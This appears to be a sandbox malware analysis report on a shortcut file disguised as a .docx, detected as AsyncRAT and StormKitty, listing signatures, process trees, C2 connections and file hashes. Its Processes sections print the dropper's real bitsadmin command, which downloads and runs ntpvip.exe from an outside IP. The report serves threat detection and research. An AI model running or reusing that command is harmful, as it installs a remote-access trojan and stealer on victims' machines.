Analysis Overview
SHA256
f54692a2ffa5029e44823a4f6b67151477b18cba62d3ea2137452f0b113948c9
Threat Level: Known bad
The file 3ntp.docx.lnk was found to be: Known bad.
Malicious Activity Summary
AsyncRat
StormKitty payload
StormKitty
Async RAT payload
Downloads MZ/PE file
Checks computer location settings
Enumerates physical storage devices
Download via BitsAdmin
Suspicious behavior: AddClipboardFormatListener
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious use of SetWindowsHookEx
Uses Task Scheduler COM API
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-09-26 08:53
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-09-26 08:53
Reported
2023-09-26 08:55
Platform
win7-20230831-en
Max time kernel
141s
Max time network
147s
Command Line
Signatures
AsyncRat
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Downloads MZ/PE file
Enumerates physical storage devices
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bitsadmin.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2064 wrote to memory of 2652 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2064 wrote to memory of 2652 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2064 wrote to memory of 2652 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 2652 wrote to memory of 2768 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\bitsadmin.exe |
| PID 2652 wrote to memory of 2768 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\bitsadmin.exe |
| PID 2652 wrote to memory of 2768 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\bitsadmin.exe |
| PID 2652 wrote to memory of 2636 | N/A | C:\Windows\System32\cmd.exe | C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' |
| PID 2652 wrote to memory of 2636 | N/A | C:\Windows\System32\cmd.exe | C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' |
| PID 2652 wrote to memory of 2636 | N/A | C:\Windows\System32\cmd.exe | C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\3ntp.docx.lnk
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C bitsadmin /transfer Update /download /priority FOREGROUND http://103.38.236.46/ntpvip.exe C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' & start C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'
C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer Update /download /priority FOREGROUND http://103.38.236.46/ntpvip.exe C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'
C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'
C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'
Network
| Country | Destination | Domain | Proto |
| VN | 103.38.236.46:80 | 103.38.236.46 | tcp |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp |
Files
memory/2636-36-0x0000000000CC0000-0x0000000000CE8000-memory.dmp
memory/2636-37-0x000007FEF5CE0000-0x000007FEF66CC000-memory.dmp
memory/2636-39-0x000000001B330000-0x000000001B3B0000-memory.dmp
memory/2636-40-0x0000000077680000-0x0000000077829000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Cab5C93.tmp
| MD5 | f3441b8572aae8801c04f3060b550443 |
| SHA1 | 4ef0a35436125d6821831ef36c28ffaf196cda15 |
| SHA256 | 6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf |
| SHA512 | 5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9 |
memory/2636-57-0x000007FEF5CE0000-0x000007FEF66CC000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Tar7313.tmp
| MD5 | 9441737383d21192400eca82fda910ec |
| SHA1 | 725e0d606a4fc9ba44aa8ffde65bed15e65367e4 |
| SHA256 | bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5 |
| SHA512 | 7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf |
memory/2636-76-0x000000001B330000-0x000000001B3B0000-memory.dmp
memory/2636-77-0x0000000077680000-0x0000000077829000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-09-26 08:53
Reported
2023-09-26 08:55
Platform
win10v2004-20230915-en
Max time kernel
143s
Max time network
148s
Command Line
Signatures
AsyncRat
StormKitty
StormKitty payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bitsadmin.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 936 wrote to memory of 4728 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 936 wrote to memory of 4728 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\cmd.exe |
| PID 4728 wrote to memory of 4316 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\bitsadmin.exe |
| PID 4728 wrote to memory of 4316 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\bitsadmin.exe |
| PID 4728 wrote to memory of 1548 | N/A | C:\Windows\System32\cmd.exe | C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' |
| PID 4728 wrote to memory of 1548 | N/A | C:\Windows\System32\cmd.exe | C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' |
Uses Task Scheduler COM API
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\3ntp.docx.lnk
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C bitsadmin /transfer Update /download /priority FOREGROUND http://103.38.236.46/ntpvip.exe C:\Users\Admin\AppData\Local\Temp\ntpvip.exe' & start C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'
C:\Windows\system32\bitsadmin.exe
bitsadmin /transfer Update /download /priority FOREGROUND http://103.38.236.46/ntpvip.exe C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'
C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'
C:\Users\Admin\AppData\Local\Temp\ntpvip.exe'
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 4.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 158.240.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 41.110.16.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 146.78.124.51.in-addr.arpa | udp |
| VN | 103.38.236.46:80 | 103.38.236.46 | tcp |
| US | 8.8.8.8:53 | 46.236.38.103.in-addr.arpa | udp |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| VN | 103.38.236.46:4449 | tcp | |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.135.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.143.182.52.in-addr.arpa | udp |
Files
memory/1548-0-0x0000000000870000-0x0000000000898000-memory.dmp
memory/1548-2-0x00007FFF34180000-0x00007FFF34C41000-memory.dmp
memory/1548-3-0x000000001B4C0000-0x000000001B4D0000-memory.dmp
memory/1548-4-0x00007FFF539B0000-0x00007FFF53BA5000-memory.dmp
memory/1548-8-0x000000001B4C0000-0x000000001B4D0000-memory.dmp
memory/1548-9-0x000000001B4C0000-0x000000001B4D0000-memory.dmp
memory/1548-10-0x00007FFF34180000-0x00007FFF34C41000-memory.dmp
memory/1548-11-0x000000001B4C0000-0x000000001B4D0000-memory.dmp
memory/1548-12-0x000000001C780000-0x000000001C7F6000-memory.dmp
memory/1548-13-0x000000001B4F0000-0x000000001B4FE000-memory.dmp
memory/1548-14-0x000000001C720000-0x000000001C73E000-memory.dmp
memory/1548-15-0x00007FFF539B0000-0x00007FFF53BA5000-memory.dmp
memory/1548-17-0x000000001C740000-0x000000001C74E000-memory.dmp
memory/1548-18-0x000000001D100000-0x000000001D166000-memory.dmp
memory/1548-21-0x000000001C750000-0x000000001C75A000-memory.dmp
memory/1548-24-0x000000001B4C0000-0x000000001B4D0000-memory.dmp
memory/1548-25-0x000000001B4C0000-0x000000001B4D0000-memory.dmp
memory/1548-26-0x000000001D460000-0x000000001D582000-memory.dmp
memory/1548-65-0x000000001D050000-0x000000001D072000-memory.dmp